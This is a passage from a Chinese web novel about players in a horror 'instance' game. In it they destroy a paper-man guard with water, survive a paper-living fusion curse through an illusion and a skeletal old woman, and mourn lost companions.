纸人保安果然做出了反应，他看向瑶姐所指的方向，审视了一下外面的楼道。
许舟见状，静悄悄地，一步一步地，向里面的公共厕所靠近。
“没人啊？”保安狐疑道。
“真有！刚刚闪过了一道影子！”瑶姐言之凿凿地说。
而许舟已经走进了厕所。
半晌，纸人保安发了狠：“我警告你啊！别耍什么花招！你是不是想诱导我离开保安室的门，然后你偷偷开锁逃跑？”
“我哪敢啊。”瑶姐求饶似地说道。
而许舟手里拖着一根软软的水管。
水管很长很长，从厕所一直延伸到许舟的手现在的位置。
她毫不动摇地走到了保安身后，向站在原地的苏灵妤比了个开水龙头的手势。
苏灵妤恍然大悟般点点头，小心翼翼地走进了厕所。
“我现在就坐在这把椅子上了，天王老子来了我都不会移开一步！”保安目光始终没离开面前的窗子。
许舟如同幽灵般，静静地拍了拍纸人保安的肩膀。
115. 不要低头看手机（23）
“喂。”
许舟微抿下唇，嗓音漫不经心。
纸人保安如被点燃心中熊熊烈火，嗓音加重：“又怎么了？你们这些人真的很麻......”
“麻烦”二字还未完全出口，回过头来的他顿时僵住。
看着许舟手里水管那黑黝黝的洞口，他先是蒙上一层惊讶，紧接着他猛地抬手，试图抢夺水管。
但事态的紧急程度远远超脱了他能控制的范围。
“苏灵妤，开水龙头！”许舟一声落下，不出几秒喷涌而出的水便打满了纸人保安的全身。
“啊啊啊啊——”
纸人保安发出激烈的惨叫，使出浑身解数，用纸手阻拦水对他面部的袭击。
但区区纸人，又怎么可能抵御得了持续不断的水？
他的手很快就被完全打湿，变成皱巴巴的一团。
纸人眼睛瞪着许舟，里面却透露出求饶的意味。
许舟神情自若，眸子乌沉沉的，裹上一层冷意：“虽然我不知道你打算等到什么时候才放人，但我想到那个时候我们也活不了了，只能先下手为强。”
被打湿的手无法再勉强阻挡激烈的水花，水落到他的脸上，逐渐浸透蔓延，直到他全身湿透。
“干得漂亮！”瑶姐情不自禁地说道，“要不是你提醒我纸人公交车，我还未必能想到这种办法。”
“这又哪能少得了你对他的拖延呢。”许舟对着瑶姐笑了笑，伸出没拿着水管的手和她击了个掌。
而纸人保安湿透的全身渐渐瘫软下来，轻轻覆在了那把椅子上，与它融为一体，俨然一张椅子皮。
但尽管如此，许舟还是让手里的水枪继续喷射了他良久。
直到他的身子黏在椅子上，再不动弹一分。
“可以关上了，灵妤。”瑶姐对公共厕所喊道。
水管里的水花停了下来。
只在管口还“嘀嗒”“嘀嗒”地流淌着残余的一两滴液体。
苏灵妤心有余悸地从公共厕所出来，见到那纸皮保安后，还是吓了一跳。
她戳了戳保安的手，保安仍未动弹，她才放松地笑了笑。
“我没有拖后腿吧...”苏灵妤小声道。
“怎么会？”许舟拍拍她的肩膀，“咳。”
瑶姐和善道：“你帮了很大的忙，即使没有经历纸人公交车，也想到了他怕水。”
苏灵妤羞涩地低头笑了笑。
“你挺大胆。”瑶姐转头看向许舟.“不怕他沾了水之后变得狂暴吗？”
许舟想到自己和姚务锦在坐纸人公交车来到智汇街时，公交车上那被姚务锦沾了水的女纸人简直想扒了姚务锦的皮。
她思索片刻，道：“想过。但我觉得纸人公交车作为隐藏剧情，作用应该不仅仅是提供一段故事，也许还给予了我们一个应对纸人的解决思路。”
“看来你想到了。”瑶姐试探道，“每一辆车上，都会有纸人因为各种原因沾上水。”
许舟点了点头，目光璀璨：“我坐车时，姚务锦将水洒到了女纸人身上。那根本不是巧合。在坐车前，每个人的手机就若有似无地影响着人的心智，诱导他们多低头看手机。上车后，如果手机还留在身上，就会诱导人把水弄到纸人身上。”
“你是怎么想到的？”瑶姐问。
“纸人被弄上水后，虽然变得狂暴，但我却没有收到关于得知死亡条件的系统音，可见弄湿纸人根本就不是死亡条件。”
许舟顿了顿，继续道：“咳咳...那是个固定情节，提醒我们水对纸人的作用。”
但许舟在车上对姚务锦出手相助仍然存在重要的意义，虽然出于规则限制，女纸人不能杀死姚务锦，但对他造成伤害却是没问题的。
“如果少量水会惹得纸人狂暴，那就用大量的水消灭纸人。”许舟语气愈发坚定。
“哈。”瑶姐轻笑一声。
“看你刚刚的态度，其实你早就想到了吧...咳。”许舟开门见山。
“我可没有这么说过，这是你自己猜的。”瑶姐摊了摊手。
许舟其实不是没想过用她在“夕望图书馆”时借助异能中介获得的“水影幻变”应对纸人保安，但在场还有瑶姐和苏灵妤二人。
许舟更想保护自己的隐私，尽可能不使用异能。
“怎么这么久都没回来？”姚务锦的声音从保安室外楼道的方向传来，“不会出什么事了吧。”
“不会有事的。”沈霁肯定地说，“黎心和他们一起去了。”
“这么相信她的实力？”箫云筝玩味地问。
四人的脚步声愈发靠近。
“你们...在里面吗？”白书圆敲了敲门。
“不会掉进厕所了吧。”箫云筝欠揍地笑道。
许舟将椅子从门前移开后，却在这时发现纸人保安沾了水的身上有一张黄色的符纸。
她轻轻摸了摸符纸，符纸是用纸张制成，却在水的冲击和浸泡下完好无损，如同被一层防水的东西隔开。
“喂？”白书圆有些着急了。
门把被人从外面拧了几下。
箫云筝道：“打不开吗？”
沈霁走上前，问道：“黎心，里面遇到什么了吗？”
听着外面人就要破门而入的架势，许舟连忙回应道：“没事了。现在就开门。”
她眯了眯眼，这张黄色的符纸愈发眼熟。
但她拧了拧门，转头看向瑶姐，尴尬地笑了笑：“我打不开......”
瑶姐轻轻秀眉微蹙，上前摸索着锁。
趁此时机，许舟不动声色地伸手，试图去将符纸扯下。
但她还未碰到符纸，符纸就在顷刻之间产生无数裂痕，随即灰飞烟灭。
另一边，瑶姐轻而易举地将门“啪嗒”一声打开：“很容易开啊。”
许舟故作羞赧地低下头，眸子里却多了一些警惕。
地上的水蔓延到了门外。
“哟。怎么淹了？”箫云筝后退几步。
“没...没有！”苏灵妤用愤恨的眼神看了箫云筝一眼。
“你们遇到纸人了？”沈霁看三人神色不对，立即反应过来。
许舟微不可察地点了点头，让开一条道，供外面的人进入查看。<
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p>“怎么会？”姚务锦错愕不已，“这个时间点，没有纸人才对啊。”
“暂时不知道原因。”瑶姐坦诚道。
而后瑶姐向其余四人讲述刚刚发生的事情。
许舟静悄悄凑到沈霁身边，轻声道：“开门前，我在纸人保安身上发现了符纸。”
“符纸？”沈霁眉宇间隐隐现出忧色，“哪种符纸？”
“有点像道具。”许舟道。
为了让箫云筝进这个副本，她在论坛交易系统搜寻宋安乔使用过的，可以强行拉人进副本的道具时，简单扫了一遍论坛上所有的道具。
其中之一便是这黄色符纸。
“谁做的？！”沈霁眉间挂着一丝忧虑。
“很多人都来过厕所，很难说。但是...”许舟瞥了正在讲述刚刚一切的瑶姐一眼：“我觉得大概率是瑶姐。”
沈霁心知许舟意有所指：“这个符纸的作用不是害人，而是可以短暂让NPC变得虚弱，无法攻击玩家。时间一到符纸就会粉碎消失。”
否则，正如同纸人公交车上的纸人们一般，纵然纸人保安不能杀死三人，但他仍可对三人造成严重伤害。
想到这里，许舟小声道：“他当时选择拖了把椅子坐在门口等待，也许就因为这个符纸削弱了他的实际能力。”
“瑶姐能在纸人保安经过的极短时间内给他贴上符纸，她的能力可见一斑。”许舟拧了拧眉。
“为什么要告诉我？”沈霁眉间蒙上冷意，“我们是敌人。”
在系统的监视下，许舟默契地答道：“不想让一个老玩家太快在我的副本里死去，所以多告诉你一点信息。”
而在系统眼中，许舟的举动却又被赋予了新的含义。
就好像...在完成与鬼段漓的约定——杀掉沈霁前，接近沈霁，让他放松警惕。
......
很快，瑶姐便讲完了方才发生的一切。
但她隐去了符纸之事，许舟不动声色地听着，权当她是为了保护隐私。
她默默走到纸人保安所附着的椅子旁，用力将那层纸撕了下来。
“你...你好勇。”苏灵妤说。
“其实不用撕下来吧。”姚务锦畏畏缩缩道。
“等下活人保安回来，看见这纸人保安怎么办？”箫云筝给了他一个白眼。
许舟云淡风轻地将这层纸揉成一团，由于它被打湿，纸张柔韧性变弱，零零碎碎地掉了些湿纸屑。
她将那团纸带到公共厕所，随便找了个隔间，扔进坑里，冲了下去。
而后许舟抖了抖手上的纸屑，走出公共厕所：“好了，我们走吧。”
“地上这些水和纸屑...”姚务锦欲言又止，他怕箫云筝让他扫干净。
“不用管了。”许舟说。
......
与此同时，铁门不远处，保安肥胖的身躯正在向智汇街13号靠近，在雪地上留下了一个个脚印。
“老贾这人可真不够意思。打牌怎么能就打一小时呢？”保安抱怨着推开铁门，迎面遇上了从保安室出来的七人。
“？！”
116. 不要低头看手机（24）
保安上上下下审视了几人一通，最后目光锁定在许舟、瑶姐和苏灵妤身上。
“怎么又是你们？还不走啊？”他烦躁地吐了口唾沫到地上，“我没说过非住户不登记不能进入吗？”
“我们是来找人的。”不知前情的沈霁保持着一定的礼节道，“那就登记一下好了。”
“算了算了。”保安脸如乌云盖顶，“登记太麻烦了。下不为例。”
七人：“......”
说罢，保安一把推开站在保安室门口的众人，走进了他的保安室将门反锁。
“谁把保安室搞得这么湿？！”他在里面大叫。
许舟耸了耸肩，却垂眸不语。
沈霁低低地笑了两声。
铁门又被“哐当”一下打开，这次从里面走入一个戴着黑框眼睛的平头男青年。
他不住地搓着冻得通红的手掌，从嘴里哈出一口又一口的气，在空中形成一片白雾。
“这谁啊？”苏灵妤小声问道。
“不认识。这楼里的其他住户吧。”瑶姐猜测。
许舟扫视了他一眼，有点印象但不多，毕竟她住在智汇街13号时的年龄实在太小。
“哇，这么多人呢。”男青年一抬头，便猛然见到这七个陌生人站在保安室前，顿觉他们不怀好意，“保安？保安。”
“别喊了别喊了。”许舟阻止道，“我们来找人的，保安也登记了。”
“您说对吧？”沈霁皮笑肉不笑地看向保安室的窗子——总不能让住户发现您不负责任吧，那样您的工作可就不保咯。
听了这话，保安掀了掀眼皮，眸中全是对保安室被弄湿的怒意，但他哑巴吃黄连，点点头表示默许。
“......行吧。”男青年说着，向楼梯走去。
“等等——”许舟语气平静，声音清冷。
“怎么了？”
许舟颇有意图地说道：“我们不知道我们要找的人住在哪，可以麻烦你带我们去吗？”
小时候的许舟记不住邻居的外貌，但邻居作为成年人却很大概率记得住小时候的许舟。
“找谁？”男青年语调文静。
“花舟。”
“她啊？”男青年招了招手，“来吧，她住在我家楼上，就在正上方。”
说罢，男青年便带着几人向楼上走。
不出几句，便套出男青年住在306。
许舟弯起眼睛，浓卷的睫毛向上翘，假意闲聊道：“怎么称呼啊？挺感谢你的帮助的。”
“曹宇航。”男青年语气温和许多，“我是个大学生，哈哈。”
沈霁像是突然想起来什么似的，引导道：“这楼里是不是还住了个叫段漓的小女孩啊？我们听花舟提起过。”
“对啊。”曹宇航柔声道，“她挺懂事的。”
“你有没有听过她有什么愿望之类的？”沈霁接着问道，“别误会，花舟说段漓快生日了，想给她准备惊喜。”
许舟的目光从帽檐底下微不可察地落向沈霁，脑海中同时联想到在副本中与兰姨初次见面时兰姨提及的鬼段漓的愿望。
“你这么一说我就想起来了！”曹宇航道，“她想用dv机记录下重要的三小时，还给了我一台呢。”
“这样啊...”许舟假装思索。
“既然花舟想给她准备惊喜，我就把dv机给你们吧。”曹宇航主动说道。
苏灵妤揪了揪许舟的衣角，许舟回眸，立即对上了她疑惑单纯的眼神。
许舟刚想解释，苏灵妤便上前两步，与许舟并肩而行：“我不想在副本里事事依赖别人...我告诉你我的想法和猜测，你告诉我我的判断对不对好吗？”
“当然。”许舟温声道，“但副本千变万化，我也不一定是对的。”
“没关系。”苏灵妤善解人意地说，“鬼段漓和我们说，需要拍摄的片段有四个，是这样嘛？”
许舟淡淡地点了点头。
“黎心姐是觉得，这里的每台dv机只能拍摄一段视频吗？”苏灵妤小心翼翼地问。
“是这样。”许舟说，“除此之外，我想不到为什么副本会提供这么多台dv机。如果一台dv机能拍的视频数量是不限的，这么多台机子完全没有意义。”
“所以黎心姐是想得到更多dv机，提高容错率吗？”苏灵妤似懂非懂地说。
“没错。”许舟说，“沈霁应该是想到，既然很多npc手里都有dv机，眼前这个曹宇航应该也能提供。”
“谢谢黎心姐。”
......
曹宇航带着几人直奔306。
他颇为不好意思地对众人打了一剂预防针：“我家比较小，而且很乱，你们别见怪。”
“这有什么...”
“那就好。”曹宇航内敛地一笑，正要开门。
306的门上却骤然浮现了一道灰白色的人形轮廓。
渐渐地，轮廓中的一切逐渐被不同的色彩填满，让整一道印子愈发清晰。
就好像...有什么东西要从306里穿出来一样。
“这是什么。”姚务锦腿直发软。
“什么？”曹宇航不解地问。
许舟和沈霁不动声色地对视一眼——曹宇航看不见这道轮廓，能看到轮廓的只有玩家。
未来得及阻止，不知道发生了什么的曹宇航便倏地打开了门。
门后站着一道虚影。
而门上的印子消失不见。
显然，这道虚影刚刚正在试图穿过306的大门，只不过门打开后，虚影便可以直接进出，再无穿门的必要。
“这...这不是那人吗？！”姚务锦见到虚影，惊声道，“我和黎心在五楼见过的...”
许舟眉眼凝住，眼前的虚影，正是她先前与姚务锦在506遇见的纸人黎茗丽。
纸人黎茗丽瞥了众人一眼，轻飘飘地穿过挡在门前的众人的身体，向外走去。
“什么和什么。”曹宇航额角不禁冒出细密的汗珠，“我家就我一个人住。你...你别吓我。”
“没事。他梦游。”许舟连忙安抚曹宇航，以免引发更严重的后果。
“我这就去取dv机，你们拿了就赶紧走吧。”曹宇航似乎是被吓着了，他急匆匆地走了进去。
“他恐怕拿不到了。”沈霁尾音转冷，目光仍停留
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在离去的纸人黎茗丽身上。
许舟顺其目光望去，纸人黎茗丽的手上，正是一台dv机。
“她偷了曹宇航的dv机！”苏灵妤轻声道。
“这个纸人没有实体。所以她可以随意在房间之间穿行。”许舟盯着背影，转了个脚尖，似乎有追上去的打算，“但dv机在副本里属于特殊的重要道具，所以她即时没有实体，也能触碰dv机，并携带dv机穿行。”
“你要追上去吗？”苏灵妤察言观色，“我可以留在这应付曹宇航。”
没有了顾虑的许舟抬起腿就追。
毕竟七人身上只有三台dv机，离鬼段漓口中的四段视频还差了一台机子。
尽管许舟作为BOSS阵营的特殊玩家，不需完成拍摄四段视频的任务，而只需达成一定的剧情完成度，但考虑到拍摄过程中可能会触发的剧情，许舟还是选择先同普通玩家一起完成任务。
而瑶姐和沈霁不假思索地跟了上去。
比起应付曹宇航，从纸人手里抢机子更是一道难题。
白书圆拉了下苏灵妤，道：“我跟上去看看。”
“那你小心。”苏灵妤点点头。
“放心吧。”箫云筝嬉皮笑脸地说，“这纸人没有实体，刚刚不就直接从我们身体中穿过去了么？她暂时伤害不了你们。”
白书圆咬咬唇，追了上去。
......
五楼。
纸人黎茗丽就这么静静地向506移动，没有回过一次头。
只不过，她的速度始终与跟在其后追逐的四人保持一致。
许舟快，她就快。
许舟慢，她就慢。
直到来到506的门口。
许舟四人围住了纸人黎茗丽，她面不改色地向506紧闭的门直直地走上前。
“阿钊，我去扔垃圾。”门内，活人黎茗丽自然而然地说。
“好。我收拾桌子。”许钊的声音紧随其后。
“不好！”一种不好的预感在许舟的心里浮现。
她知道纸人保安当时在等待着什么了。
晚七点到晚十点这一时间段的死亡条件，她也在电光火石间有了一个猜测。
——解锁玩家死亡条件之一“相遇”
——奖励会在统一结算时发放
系统音这次出现得很及时，宣告着许舟猜测的正确。
但为时晚矣。
纸人黎茗丽停在了原地。
她的双手低垂，一只手死死抓着dv机，一双纸人眼睛目中无神地直视前方，犹如等待着什么。
506的门被正要去扔垃圾的活人黎茗丽拧开了。
“啪嗒——”
活人黎茗丽充满血色的脸在门后瞬间凝滞。
两个黎茗丽相对无言，随即，她们的表情、动作逐渐趋同。
区别就是一人手拎垃圾袋，一人手持dv机。
纸人脸与活人脸的色泽也变得统一，她们彼此靠近，身体相互贴合，直至旁人看不清界限。
——触发死亡条件“相遇”
系统音一字一顿地在许舟的脑海中播报，宛若宣判四人的死刑。
117. 不要低头看手机（25）
沈霁试图抬手阻止，却无法对两个黎茗丽造成一丝一毫的影响。
终于，她们的身体融合在了一起。
沈霁手中的手电筒在刹那间失灵，智汇街13号仿佛有一道看不见的屏障在此刻阻挡了屋外的月光。
黑漆漆的一片，伸手不见五指。
许舟伸手摸墙，手越伸越远，却发现原本近在咫尺的墙面和506的门怎么样也碰不到。
她来到了一片空旷的地方。
周围什么都没有。
“过来。”
是黎茗丽的声音，听起来却是万般空灵，来自很远很远的地方。
“快过来。”
“你们还在吗？”
许舟轻声问道，却没有一个人回应。
这里只剩她一个了。
许舟伸手拉开包包的拉链，从中摸出了那台未交给纸人司机的手机，按了按开机键，却没办法将其亮屏。
她失去了一切可以照明的东西。
“快来。”
远处的“黎茗丽”催促道。
许舟放回手机，伸出腿在前方不远处的地板磨蹭，以确定前面是平地，而不至于一脚踏入万丈深渊。
就这么，一步一步地，探寻着黑暗中声音的方向前进。
道路很长却平缓，虽然阴森而充满着未知，却又莫名让人感到安心。
不知走了多久，突然，“哐当”一下，左侧方位传来铁盆落地的声音。
紧接着，是锅碗与筷子的碰撞声，许舟伸手在左侧探了探，发觉左边不知什么时候多了一个灶台。
“有点像我上次来506时，在厨房见到的灶台。”许舟自言自语道。
蓦然，灶台上火不知被谁打找，一时之间火星子四处飞溅，让许舟的视野恢复了片刻的清明。
灶台后，是一大片形似张牙舞爪的白布，布底下似乎罩着什么东西，其体积远远超过了一个人的大小。
白布上，是那台黎茗丽手里的dv机。
紧接着，火星子消失了。
许舟伸手去够dv机，却又摸了个空。
“过来。”
声音指引着许舟继续前行。
许舟秀眉轻挑，继续向前走去。
黑暗之中，不知方向，亦不知来路。
只能听着遥远的声音勉强前行。
又不知过了多久，许舟身后隐隐约约传来断断续续的铃铛声，她猛然回头，身后仍是漆黑一片，只觉铃铛的声音渐行渐远。
“快过来。”
“黎茗丽”继续叫着。
许舟转过头，目光却对上了两盏冒着幽幽蓝光的蜡烛。
蜡烛在一个衣柜上，柜子的顶端挂着一个铃铛，发出清脆活泼的响声，与刚才在身后听到的声音无差。
而许舟却莫名觉得这个衣柜有些眼熟。
“叮铃铃～”
这里没有风，铃铛依旧摇曳，响个不停。
许舟拉开衣柜，衣柜里是琳琅满目的衣服，其中一件牛仔裤格外惹人注目。
这条牛仔裤的一个口袋想被人刻意扯过，口袋布翻到了裤子外。
“这是什么？”
直觉告诉许舟，这条牛仔裤有东西。
她将手伸进了另一个没被翻开的口袋，摸出了一张皱巴巴的纸。
靠近两盏蜡烛，借着微弱的光细细观察，这是一张体检报告。
体检报告的主人名字被人用蜡笔画去，让人分辨不出到底是什么字。
但体检报告上却白纸黑字地写着，体检报告的主人几乎没有生育能力。
已经重拾几次重启记忆的许舟不由得联想到她在副本里去黎茗丽和许钊家的那一次。
当时...
“我在家门外听见，妈妈...”许舟住了嘴，呸了两声，“什么妈妈，这里没有妈妈。”
她心里对系统在副本里创造了一对虚假的父母表示深深的鄙夷，以致于她对着这铃铛竖了个中指：“我知道你在看，系统。”
骂完系统，许舟继续回忆：“当时系统创造的假黎茗丽指责假许钊没有生育能力，才领养了我。”
这是许舟在现实世界未曾得知的。
她只知道，父亲不能生育，但却不知道母亲时常指责父亲。
许舟思索过多次的问题再次浮现在脑海——这个副本里所陈述的一切，都是现实中真实发生的吗？
许舟垂眸不语，将体检报告放回了裤袋里。
既然这体检报告属于许钊，那这衣柜是所属自是不言而喻。
虽然许舟当时没进506的卧室，也没见到其中的衣柜，但她已然可以轻而易举地判断这是黎茗丽和许钊家的衣柜。
“506的灶台是巧合，506的衣柜也可以是巧合。”许舟语气愈发坚定，“但同时出现，就不会是巧合。”
“自我听到系统提示触发死亡条件的声音后，我的五感就被蒙蔽。即使我的手摸到了墙，我也会被屏蔽掉这部分的触觉，让我误以为我来到了一片空旷的地方。”许舟的尾音拖着一丝冷调。
“而那一直呼唤我过去的声音，只不过是在诱导我进入506后，让我一直在里面打转而已。”许舟坚信不疑道，“所以，我刚刚自以为我走了很远很远的路，其实从来都没离开过506。”
“至于我为什么五感会被蒙蔽，大概就是因为我在上车时没交出的手机。”许舟伸了一个懒腰，神色清冷而倦懒，“从诱导人低头看手机，再到纸人公交车，最后到原地打转，都是这台手机的手笔。”
许舟打了个哈欠：“没意思，都是一个路数。”
但她偏偏不能扔掉这台手机，她总觉得将其留下，在未来可能会有其他作用。
话音刚落，两盏蜡烛倏地熄灭，周遭再度变得伸手不见五指。
许舟眨眨眼，纤黑细长的睫毛轻颤，在这短短时间内适应了黑暗。
“快过来。”
“黎茗丽”持续呼唤。
但窥破这段无穷无尽的原地打转戏码的许舟轻轻“啧”了一声，凭借着先前和姚务锦来506时的记忆，径直走向了客厅。
“过来。你为什么不过来！”
黑暗中的“黎茗丽”急了，但任凭她怎么呼喊，许舟都不再理会她分毫。
直到许舟看见那台熟悉的dv机。
dv机放在不远处的茶几上，屏幕隐隐约约泛着光。
此刻的它有无尽的魔力，诱导许舟的前进。<
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许舟眸光潋滟——回到506的客厅了。
她伸出手，握住了dv机。
然而，在她取到dv机的下一秒，茶几中间被一把长刀凭空劈开。
也许是劈开的过程中产生了极高的热量，登时之间，长刀的刀刃火光四溅，其剧烈程度甚至不亚于先前许舟遇到的灶台。
长刀被一双粗壮的手握住。
顺着手臂看去，许钊不知何时站到了茶几后。
他面目狰狞，左半张脸是纸做的，右半张脸却是活人皮。
许舟却对许钊的出现并不意外。
黎茗丽和许钊长期生活在一起，黎茗丽异变了，恐怕许钊也早就异变了。
整个茶几被硬生生劈成了两半。
许钊跨过茶几，向许舟直直地冲过来。
许舟带着dv机，蹿回了刚出来没多久的卧室，锁上了门。
“嘭！”
许钊在门外劈起了这道房门。
高大的房门在此刻显得如此的弱小。
“嘭！”
房门在震动，连带着整个卧室的墙面和地板都在震动。
很快，刀剑插进了门里，门的木屑纷纷飞落在地。
“水影幻变。”
眼见四下无其他玩家，许舟猛地拉开门，对着这半纸人半活人的许钊使用了她在“夕望图书馆”获取的异能。
一阵水花从天而降，犹如一场倾盆大雨，淅淅沥沥地打在了许钊的头上。
然而，这次水花却对纸人失了效。
虽然在纸做的那半边脸上留下了明显的印记，但另外半张脸却安然无恙。
许钊怒目圆瞪，高高地抬起手中的长刀。
“水对半纸人半活人的怪物没用吗...？”许舟喃喃道，而后退回卧室内，以迅雷不及掩耳之势再次锁上了门。
就在这时，一只手搭在了许舟的肩膀上。
垂眸看去，这是一具骷髅。
“一旦见证纸人与活人的融合过程，若无高人帮助，便已注定是死局。”苍老却中气十足的女声从许舟身后传来。
许舟回过头，看见了骷髅的主人。
这是一位老妪。
正是他们一行人，跨过火盆时，站在旁边的那名骷髅老妪。
“那...您是高人吗？”许舟试探性地问道。
“也许是，也许不是。”老妪似是而非地说，“我曾在偶然间寻得破局之法，但需要交出幻觉的来源。”
“幻觉的来源？”许舟从包里拿出了那台手机。
“正是此物。”老妪点了点骷髅头，发出“嘎吱嘎吱”的声音，很是诡谲。
许舟张了张嘴，却没有说话。
破门声却渐渐变缓而弱，如同慢速的鼓点，平和地落在门上。
“此物可让人在见证融合后，幸存一时之性命，却又会将人带入无边幻境。”老妪慢声解释，“若无法及时从幻境离开，便会死于融合物之手。”
许舟点了点头，慢慢伸出双手，将手机递给了老妪。
老妪没有接过手机，而是直接背过身去。
而门外的声音逐渐平息。
老妪大开双臂：“你带着手机，站到我前面。”
118. 不要低头看手机（26）
许舟微微抬头，眉毛不经意地一挑，顺从地站到了老妪前方。
下一秒，老妪的两只骷髅指尖上冒出两团火花，熊熊燃烧而又没有继续蔓延。
“啊...呃。”门外的“许钊”发出痛苦的哀嚎。
“放下手中之物。”老妪语气低沉，空洞的眼眶朝着许舟身下的地板。
许舟低下身子，将手机放到地上。
老妪打了一个响指，骨头与骨头之间的碰撞声清脆而响亮。
她的骷髅头一动不动，却从嘴部发出无休无止的念叨声，仿佛在念着什么咒语。
而老妪双手的火团凭空消失，出现在了地上的手机上。
“轰隆隆——”
手机发生了小面积爆炸，在地上炸出了一个凹坑，四周的实木家具一时之间被火焰吞噬，而许舟面前的老妪神态自若地站在火中。
她缓缓道：“此物一经使用，便消失于世间。往后若再见活人与纸人的融合，将注定是死局，任何人都无法违抗。”
“同时，此仪式不会消灭融合物，如若今后在楼内偶遇，需小心躲避，警惕受伤。融合物伤人不受规则限制。”
“融合物将会在智汇街13号游荡不休。”
许舟重重地点了点头。
当她再度扬起头时，老妪的身影消失在这熊熊烈火之中。
而许舟虽然深处烈火，却丝毫感受不到炎热。
“嘭——”
紧锁的卧室门应声而开。
半透明的帘子后，“许钊”原地蹲下，痛苦地靠在墙边。
“黎茗丽”缓缓走过去，抱住了他，发出轻微的呜咽声。
稍许，两人的影子消失在了506。
然而老妪最后的话却印在了许舟的脑海——这一场仪式只能救命，却不能伤害到纸人和活人的融合物“许钊”和“黎茗丽”。
如果再次相遇，就要尽量逃离。
因为...他们作为融合物杀人，不需要玩家触犯死亡条件。
火势渐渐平息，506的墙面和家具却没有被烧得焦黑的痕迹，依旧完好无初。
直至火势全熄，屋内漆黑一片。
“黎心？”苏灵妤的声音从外面传来。
她一边呼喊一边前进：“瑶姐？白书圆？沈霁？”
“这里。”沈霁低声喊道。
许舟倏地转头，沈霁的声音...就来自自己的身边。
也就是说，刚刚两人在506兜来转去，却始终未有发现对方的痕迹。
这手机的蒙蔽作用...未免过于强烈。
“我也在这儿。”许舟不咸不淡地喊道。
“你们怎么进去了？”苏灵妤焦急地说着，打开了506的门。
“我知道死亡条件了。”许舟轻声道。
“真的吗？”姚务锦迫切地问。
“死亡条件是见证纸人和活人的融合过程。”许舟长话短说，对众人讲述了刚才发生的事情。
“所以上车时留下手机，还能保住一命？”姚务锦不由得松了一口气。
“没错。但手机只能用一次。触发死亡条件后，手机会带人进入一片幻境，在里面找到跨火盆时偶遇的老妇，就可以破解这一次危机。”许舟娓娓道来。
沈霁的经历与许舟相仿，他补充道：“手机和遇到老妇，两者缺一不可。如果没能活到见到老妇的时候，有手机也是没有用的。”
姚务锦摸了摸自己那台手机，心里更加安心和踏实。
许舟却察觉到，苏灵妤周遭的空气变得冰凉，她的脸色一暗，变得很差。
苏灵妤难以置信地张了张嘴，勉强吐了几个字：“白书圆...她没有手机。”
“那她应该已经死了。”箫云筝不假思索道，“没事，在副本里死亡，很多时候都是一瞬间的事情，没有那么痛苦。”
箫云筝的直接让苏灵妤红了眼眶，她挣扎着抬眸，望向许舟和沈霁，想寻求一个答案。
许舟和沈霁不约而同地没有吱声，只是沉重而缓慢地摇了摇头。
“白书圆...死了？”苏灵妤蹲下，疯狂地抓着自己的头发，把头摇得像拨浪鼓一般，“我们是多年的同学，也是最好的朋友。”
许舟眸光黯淡，蹲下去轻轻拍了拍苏灵妤的肩膀。
自她在副本里遇到这苏灵妤开始，苏灵妤一直在主动思考，努力跟随众人的脚步。
而她此刻的状况，是许舟从未见过的。
“呜呜呜...”
许舟的眸子里慢慢地生出了一丝坚定——只有反抗系统，将其毁灭，才能真正避免所有人被系统玩弄于股掌之中。
“你们...有见到瑶姐吗？”沈霁的声音如一粒石子，投入众人心里，荡起阵阵涟漪。
众人不约而同地张望四周，苏灵妤也短暂地收了声。
但所有人都没有发现瑶姐的身影。
受到巨大打击的苏灵妤泪水干涸，她沙哑地问：“瑶姐...她有手机，不会出什么事吧？”
仿佛有什么感应一般，众人不远处的茶几上亮起了一抹光。
一台手机静静地躺在上面，亮起了显示屏。
苏灵妤连滚带爬地过去，急匆匆地一睹这台手机的芳容。
半晌，她眼神空洞地张了张嘴：“这是...瑶姐的手机...”
“为什么会这样？她的手机在这里，人却不在？”姚务锦不解地问。
“你忘了沈霁的话了？有手机，没遇到老妇，结局也是死。”箫云筝瞥了他一眼，把“死”字拖得很长很长。
许舟默默地拿过桌子上的手机，划拉了几下屏幕。
“呵...哈...为什么。”苏灵妤流干了泪，止不住地反问。
“不，瑶姐还活着。”许舟看着手里的手机，坚定地说道。
“哦？这里面有什么？”箫云筝语调一转，凑过来看。
瑶姐的手机没有设置屏保，因此许舟轻松地就将其打开。
一进去后的界面便是瑶姐手机里的备忘录。
备忘录上有两行字，信息简单却又富有意味。
***
这台手机，就留给你们保命了。
0217
***
箫云筝将嘴长成了o形：“哇哦，这个瑶姐可真是身怀大义。”
“
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有了这台手机，我们多了一次保命机会。下次遇到危险，就可以用这台手机了。”沈霁沉稳道，从他的眸中却看不出一丝情感。
“给...给我吧？”姚务锦果断地伸出了他的肥手。
“大叔，我们这这么多人，凭什么给你啊？”箫云筝用力打了一下姚务锦的手。
姚务锦“啊呜”一声抽回了手：“那...那给谁啊？”
“遵循瑶姐的意愿吧。”箫云筝笑嘻嘻地说。
沈霁不动声色地看了眼许舟，似乎在征求意见。
许舟接过手机，递给了蹲在地上的苏灵妤：“瑶姐之前一直想保护你和白书圆，这台手机，就交给你保管吧。”
沈霁轻声道：“支持。”
将手机给苏灵妤，也许恰能让她振作起来，不辜负瑶姐的好意。
苏灵妤的眼中充满了感激，但剧烈的情感冲击让她只是呆呆地点了点头，伸出手接手机：“瑶姐还活着的话，她是去哪儿了？”
“你之后会知道，副本里有很多道具...咳。”许舟介绍道，“其中有一个道具，可以中途从副本离开，她应该已经回到现实了。”
在“夕望图书馆”时，索菲亚就用过这个道具。
苏灵妤擦了擦脸，重重地点了点头：“我...不会辜负瑶姐。”
许舟只是淡淡地一笑，思绪仍停留在备忘录的内容。
四个熟悉的数字再次出现。
0217。
瑶姐在厕所时，亲口对她说过这几个数字。
真的只是论坛id这么简单吗？
“对了。”苏灵妤抬起头，缓缓直起身，“刚刚从曹宇航从306出来，发现dv机不见了，我们随口应付了一下，没有让他知道纸人的事情。”
毕竟这里的活人NPC似乎只能见到自己对应的纸人NPC，其他纸人是一概看不见的。
“他还有说什么吗？”许舟问。
苏灵妤皱着眉头想了想，道：“他说他的大学专业与视频剪辑有关，有需要的话可以找他。”
话音刚落，淡淡的雾气从窗外闯入，为506蒙上了一层灰纱。
“是雾！”不知道是谁喊了一声。
“十点要来了。”许舟手里捏了把汗，“经过几次观察这里的雾气在晚十点出现，次日凌晨一点重启时消散。雾气的出现预示着拍摄的时间。”
“事不宜迟。”沈霁说。
